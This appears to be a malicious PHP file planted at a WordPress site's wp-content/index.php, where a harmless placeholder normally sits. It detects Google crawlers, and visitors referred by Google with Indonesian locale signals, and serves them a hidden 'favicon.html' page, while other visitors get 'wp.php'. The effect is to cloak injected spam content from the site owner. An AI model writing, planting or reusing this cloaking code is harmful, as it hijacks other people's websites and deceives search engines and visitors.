File: /var/www/html/wordpress/wp-content/index.php
<?php
$bot_user_agents=array("Googlebot","Googlebot-Image","Googlebot-News","Googlebot-Video","Storebot-Google","Google-InspectionTool","GoogleOther","GoogleOther-Image","GoogleOther-Video","Google-CloudVertexBot","Google-Extended","APIs-Google","AdsBot-Google-Mobile","AdsBot-Google","Mediapartners-Google","FeedFetcher-Google","Google-Favicon","Google Favicon","Googlebot-Favicon","Google-Site-Verification","Google-Read-Aloud","GoogleProducer","Google Web Preview","Bingbot","Slurp","DuckDuckBot","Baiduspider","YandexBot","Sogou","Exabot","facebookexternalhit","ia_archiver","Alexa Crawler","AhrefsBot","Semrushbot");
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
function is_google_bot() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$google_agents = ['Googlebot', 'Mediapartners-Google', 'Google-InspectionTool'];
foreach ($google_agents as $agent) {
if (stripos($user_agent, $agent) !== false) {
return true;
}
}
}
return false;
}
function is_from_indonesia_and_google() {
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
$accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (strpos($referer, 'google.co.id') !== false || (strpos($referer, 'google.com') !== false && strpos($accept_lang, 'id') !== false)) {
return true;
}
}
return false;
}
if (is_google_bot() || is_from_indonesia_and_google()) {
include __DIR__ . '/favicon.html';
} else {
require __DIR__ . '/wp.php';
}